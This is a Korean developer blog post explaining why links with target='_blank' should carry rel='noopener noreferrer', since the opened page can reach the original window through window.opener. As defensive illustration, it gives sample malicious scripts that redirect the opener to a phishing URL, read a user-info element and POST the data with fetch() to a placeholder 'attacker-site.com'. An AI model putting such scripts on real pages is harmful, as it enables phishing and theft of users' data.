a 태그 target="_blank" 와 rel="noopener noreferrer"

target_blank를 두면 연결된 링크가 새로운 탭으로 열리게 된다. 

 

여기서의 문제점이 바로 보안 취약점이 발생할 수 있다는 것!

 

새 창이 열리면, 새 창은 원본 창에 대한 참조(window.opener)를 가지게된다.

target="_blank"를 사용하여 링크를 클릭해 새로운 탭이나 창을 열 때, 새로 열린 창이나 탭은 원본 창의 window.opener 객체에 접근할 수 있습니다. 이를 통해 악성 코드가 포함된 페이지는 원본 창을 조작할 수 있다!

 

여기서 rel="noopener noreferrer"를 추가하면 이 보안 취약점을 보완할 수 있게 된다!

 

noopener: 새 탭이 window.opener 속성에 액세스하는 것을 방지하여 새 창을 원본 창과 효과적으로 분리할 수 있게 된다!!

 

noreferrer: 이 속성은 noopener 동작을 포함할 뿐만 아니라 리퍼러 정보가 새 탭으로 전송되지 않도록 보장합니다. 이는 원본 페이지의 URL이 링크된 페이지에 공개되지 않도록 하는 개인정보 보호 이유로 유용할 수 있다!!

 

 

보안 취약점 예시

1. 악성 페이지는 원본 창의 URL을 변경하여 사용자가 의도하지 않은 피싱 사이트로 이동하게 할 수 있습니다. 사용자는 여전히 신뢰할 수 있는 사이트에 있다고 생각하지만, 사실은 가짜 사이트에 민감한 정보를 입력하게 된다.

<!-- 악성 페이지의 스크립트 예시 -->
<script>
  if (window.opener) {
    // 원본 창의 URL을 피싱 사이트로 변경
    window.opener.location = 'https://phishing-site.com';
  }
</script>

 

2. 새로운 창이 원본 창의 window.opener 객체에 접근할 수 있기 때문에, 원본 창의 일부 정보가 노출될 수 있습니다. 이는 개인 정보나 민감한 데이터를 포함할 수 있다.

<!-- 악성 페이지의 스크립트 예시 -->
<script>
  if (window.opener) {
    const userInfo = window.opener.document.getElementById('user-info').innerText;
    console.log('User Info:', userInfo);
  }
</script>

 

 

근데 일반적으로 사용자가 새 창을 열 때 원본 창과 새 창을 동시에 보는거면 데이터 접근이 당연하게 가능한 거 아닌가????

 

보안 취약점은 단순히 데이터를 보는 것과는 다르다고 한다. 

 

<!-- 새 창의 악성 코드 -->
<script>
  if (window.opener) {
    // 원본 창의 특정 요소에서 정보 추출
    const userInfo = window.opener.document.getElementById('user-info').innerText;
    console.log('User Info:', userInfo);
    // 유출된 정보를 공격자의 서버로 전송
    fetch('https://attacker-site.com/collect', {
      method: 'POST',
      body: JSON.stringify({ info: userInfo }),
      headers: {
        'Content-Type': 'application/json'
      }
    });
  }
</script>